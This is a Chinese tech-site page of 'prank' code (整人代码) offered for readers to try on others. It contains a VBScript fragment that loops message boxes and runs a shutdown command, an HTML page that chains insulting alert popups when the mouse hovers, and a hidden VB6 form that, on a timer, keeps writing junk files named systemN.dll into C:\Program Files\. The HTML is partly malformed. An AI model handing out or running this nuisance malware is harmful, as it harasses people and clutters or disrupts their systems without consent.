vbs整人代码_vbs整人关机代码不管用_vbs简单代码(6)
电脑杂谈 发布时间：2017-04-06 23:04:53 来源：网络整理msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦？？"
这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、
网页整人效果代码
想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
复制代码 代码如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网页特效|/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>
嘻试吧爽噢。。vbs整人代码
</body>
</html>
vbs整人代码
代码如下：
复制代码 代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'声明变量，其中“count”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈，被黑的感觉的不错吧"
files = FreeFile
'如果a等于a那么就执行
If a = a Then
'count不断的加1，以便产生不同的文件名
count = count + 1
'产生文件名及文件句柄，并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件写内容
Write #files, nr
'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/tongxinshuyu/article-39892-6.html
-
-
王振飞
#易烊千玺#加油
陕西水泵监测系统价格精益求精
当前三种主流的计算机短信平台登录方法
谁适合购买？多合一机器购买指南
将手机变成汽车平视显示器: HUDWAY玻璃投影
美期待